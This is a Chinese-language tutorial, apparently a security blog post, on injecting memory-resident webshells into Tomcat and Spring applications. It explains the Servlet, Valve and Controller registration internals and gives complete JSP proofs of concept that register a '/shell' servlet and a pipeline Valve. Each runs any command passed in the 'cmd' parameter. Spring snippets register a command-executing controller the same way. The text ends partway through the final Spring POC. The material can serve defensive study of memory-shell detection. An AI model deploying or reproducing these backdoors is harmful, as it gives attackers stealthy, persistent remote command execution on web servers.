org.apache.catalina.core.StandardContext类的startInternal()方法中,首先调用了listenerStart(),接着是filterStart(),最后是loadOnStartup()。这三处调用触发了Listener、Filter、Servlet的构造加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
...
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}

// Check constraints for uncovered HTTP methods
// Needs to be after SCIs and listeners as they may programmatically
// change constraints
if (ok) {
checkConstraintsForUncoveredMethods(findConstraints());
}

try {
// Start manager
Manager manager = getManager();
if (manager instanceof Lifecycle) {
((Lifecycle) manager).start();
}
} catch(Exception e) {
log.error(sm.getString("standardContext.managerFail"), e);
ok = false;
}

// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}

// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
...

创建StandardWrapper

StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进

image-20250512110919367

image-20250512110952183

继续跟进lifecycleEvent方法

image-20250512111047569

跟进configureStart()方法

image-20250512111125424

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数

image-20250512111347297

然后通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

image-20250512111432090

跟进该方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());

... //设置StandardContext参数


for (ServletDef servlet : webxml.getServlets().values()) {

//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();

if (servlet.getLoadOnStartup() != null) {

//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}

//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}

//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());

//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);

for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {

//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}

最后通过addServletMappingDecoded方法添加Servlet对应的url映射

image-20250512112226218

加载StandWrapper

接着在StandardContext#startInternal方法通过findChildren()获取StandardWrapper

image-20250512112515989

最后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public boolean loadOnStartup(Container children[]) {

// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();

//判断属性loadOnStartup的值
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}

// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}

注意这里对于Wrapper对象中loadOnStartup属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()加载调用

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中

img

至此Servlet才被加载到内存中

动态注册Servlet

通过上述分析我们可以总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

获取StandardContext对象

StandardContext对象获取方式多种多样

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

1
2
3
4
5
6
7
8
9
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

编写恶意Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>

创建Wrapper对象

1
2
3
4
5
6
7
8
9
10
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将Wrapper添加进StandardContext

1
2
3
4
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

访问Servlet.jsp动态注册Servlet

image-20250512113138326

然后访问对应的映射路径执行命令

image-20250512113223545

Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现

Valve型

什么是valve?

在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制

我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

image-20250512115355113

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例

与Filter之间的区别

特性 Valve(阀门) Filter(过滤器)
层级 Tomcat 容器级别(更底层) Servlet 规范级别(应用层)
影响范围 全局生效(影响所有部署在 Tomcat 中的应用) 仅对单个 Web 应用生效
可见性 由 Tomcat 直接管理 由 Servlet 容器(如 Tomcat)管理

完整的请求流程如下:

1
Tomcat 接收请求 → Valve 链(Engine → Host → Context → Wrapper) → Filter 链 → Servlet

管道机制流程分析

我们先来看看Pipeline接口,继承了Contained接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Pipeline extends Contained {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public void findNonAsyncValves(Set<String> result);
}

Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口

1
2
3
4
5
6
7
8
9
10
11
12
13
public interface Valve {

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response)
throws IOException, ServletException;

public boolean isAsyncSupported();
}

其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

img

同时Valve可以通过重写invoke()方法来实现具体的业务逻辑

1
2
3
4
5
6
7
8
class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
...
}
}
}

下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);

if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);

// Link objects
request.setResponse(response);
response.setRequest(request);

// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);

// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
...

try {
...
connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
}
...
}

前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)

首先通过connector.getService()来获取一个StandardService对象

img

接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象。

再通过StandardPipeline.getFirst()获取第一个Valve

1
2
3
4
5
6
7
8
@Override
public Valve getFirst() {
if (first != null) {
return first;
}

return basic;
}

最后通过调用StandardEngineValve.invoke()来实现Valve的各种业务逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public final void invoke(Request request, Response response)
throws IOException, ServletException {

// Select the Host to be used for this Request
Host host = request.getHost();
if (host == null) {
// HTTP 0.9 or HTTP 1.0 request without a host when no default host
// is defined.
// Don't overwrite an existing error
if (!response.isError()) {
response.sendError(404);
}
return;
}
if (request.isAsyncSupported()) {
request.setAsyncSupported(host.getPipeline().isAsyncSupported());
}

// Ask this Host to process this request
host.getPipeline().getFirst().invoke(request, response);
}

host.getPipeline().getFirst().invoke(request, response)实现调用后续的Valve

动态添加Valve

根据上文的分析我们能够总结出Valve型内存马的注入思路

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve

获取StandardPipeline对象

1
2
3
4
5
6
7
8
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

编写恶意Valve类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%!
class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>

将恶意Valve添加进StandardPipeline

1
2
3
4
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

<%!
class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>

<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

访问Valve.jsp

image-20250512201210986

访问任意路由执行命令

image-20250512201248874

Spring内存马

Spring基础概念

Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置

Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能

image-20250512203459272

SpringBoot

SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。

采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。

下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目

image-20250512203720597

点击下一步,选择spring web

image-20250512203838267

直接创建就行了

接下来我们就可以编写相应的Controller(控制器)及各种业务逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.spring_test.hello;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloWorldController {
@ResponseBody
@RequestMapping("helloworld")
public String hello() {
return "Hello World";
}
}

访问对应的路由

image-20250512205706757

Spring MVC、Tomcat和Servlet

首先来设想这样一个场景,假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?

首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web服务器的实现逻辑,当然,真正的Web服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应

image-20250512210140311

当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。

Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而Container中的Servlet就是我们的逻辑处理器

因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat

那Spring MVC呢?Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境

Spring MVC

spring MVC的运行流程如下

image-20250512211348040

客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端

创建一个简单的springmvc项目

可直接看该文章来搭建:https://goodapple.top/archives/1355

文章里面说的搭建maven项目,建议选择如下,较为简单:

image-20250513194752239

配置完之后启动tomcat,访问hello路由

image-20250513195142838


上面环境搭建是搭建,但是下面学习spring内存马还是通过springboot构建项目,java版本为8u65,要记得勾选springweb


Controller型内存马

基础概念

一、Spring Bean(下面简称为“Bean”)

定义:

在Spring中,构成应用程序主干并由Spring IoC容器管理的对象称为bean。bean是由Spring IoC容器实例化、组装和管理的对象。Spring Bean代表着Spring中最小的执行单位,其加载、作用域、生命周期的管理都由Spring操作。

为什么需要Bean:

可以将Spring IoC容器类比为一位高效的“管家”,而Bean就是这位管家为你准备的一切资源和服务。作为程序员,你只需要声明你需要什么(即注入某个Bean),Spring就会负责将其准备好并交付给你使用。至于这个Bean是如何创建、配置、存放的,开发者无需关心,Spring都已替你打理妥当。

综上所述,我们很容易知道Bean有以下特点:

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

二、Spring IOC容器(下面简称为“Ioc容器”)

定义:

控制反转英文全称:Inversion of Control,简称就是IoC。控制反转通过依赖注入(DI)方式实现对象之间的松耦合关系。程序运行时,依赖对象由辅助程序动态生成并注入到被依赖对象中,动态绑定两者的使用关系。Spring IoC容器就是这样的辅助程序,它负责对象的生成和依赖的注入,然后再交由我们使用。

为什么需要Ioc容器:

在实际开发中,Bean之间往往存在依赖关系,它们并不是孤立存在的。比如,一个A对象在工作时,需要依赖B和C对象提供支持。如果由A自己去创建B和C,不仅麻烦,还会导致组件之间耦合紧密,难以维护和测试。这时,IoC容器就派上用场了,它会在创建A对象时,自动先创建它所依赖的B和C对象,再把它们“注入”给 A。这样,A 就能顺利完成自己的功能,而不需要关心 B 和 C 是从哪儿来的、怎么创建的。

IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的元数据可以用xml、Java注解或Java代码来表示。

三、ApplicationContext

Spring框架中,BeanFactory接口是Spring IoC容器的实际代表者。

image-20250517210505088

实现了BeanFactory接口的ApplicationContext接口,显然也代表了IoC容器。因此得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

我们的操作对象是Bean,如果要访问和操作bean ,一般要获得当前代码执行环境的IoC 容器代表者ApplicationContext。在Spring Web应用中,通常存在两个层级的 ApplicationContext:

  • 一个Root ApplicationContext,由ContextLoaderListener创建,用于管理全局共享Bean(如Service、Repository等);
  • 一个或多个Child ApplicationContext,由DispatcherServlet创建,用于管理与Web层相关的Bean(如Controller、ViewResolver等)。

Child Context可以访问其父容器(Root Context)中的 Bean,但反过来不行。所有的Context在创建后,都会被作为一个属性添加到了ServletContext中

四、ContextLoaderListener

ContextLoaderListener主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他Child Context实例共享它的IoC容器,供其他Child Context获取并使用容器中的 bean

实现思路

和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下

  1. 获取上下文环境
  2. 注册恶意Controller
  3. 配置路径映射

获得WebApplicationContext

第一种方法:getCurrentWebApplicationContext
1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。

第二种方法:WebApplicationContextUtils
1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

通过这种方法获得的也是一个 Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

但是在我当前的版本,也就是spring-web-5.2.23,RequestContextUtils类不再具有getWebApplicationContext方法

第三种方法:RequestContextUtils

上面说了,在我当前的版本,只有findWebApplicationContext方法:

1
WebApplicationContext context2 = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

通过ServletRequest类的实例来获得Child WebApplicationContext。

第四种方法:getAttribute
1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

动态注册Controller

枫神这段讲的太好了,直接照搬

Spring Controller的动态注册,就是对RequestMappingHandlerMapping注入的过程。

RequestMappingHandlerMapping是SpringMVC里面的核心Bean,Spring把我们的controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。

  • RequestMappingHandlerMapping对象本身是Spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
  • 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener,由它来完成IOC容器的初始化和bean对象的注入。
  • 另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。

Spring 2.5开始到Spring 3.1之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器;

Spring 3.1开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。

registerMapping

在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping

1
2
3
4
5
6
7
8
9
10
11
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
registerHandler

参考上面的HandlerMapping接口继承关系图,针对使用DefaultAnnotationHandlerMapping映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping。

在其registerHandler()方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;

// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}

Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (getPatternParser() != null) {
this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
}
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}

该方法接受urlPath参数和handler参数,可以在this.getApplicationContext() 获得的上下文环境中寻找名字为handler 参数值的bean, 将url和controller实例bean注册到handlerMap中。

1
2
3
4
5
6
7
8
9
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
detectHandlerMethods

参考上面的HandlerMapping接口继承关系图,针对使用RequestMappingHandlerMapping映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping

在其detectHandlerMethods方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}

方法仅接受handler参数,同样可以 this.getApplicationContext()获得的上下文环境中寻找名字为handler参数值的 bean, 并注册controller的实例bean

1
2
3
4
5
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

实现恶意Controller

由于是动态路由,所以我们只需要实现方法即可,比如

1
2
3
4
5
6
7
8
9
public class Controller_Shell{
public Controller_Shell(){}

public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package Test1;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
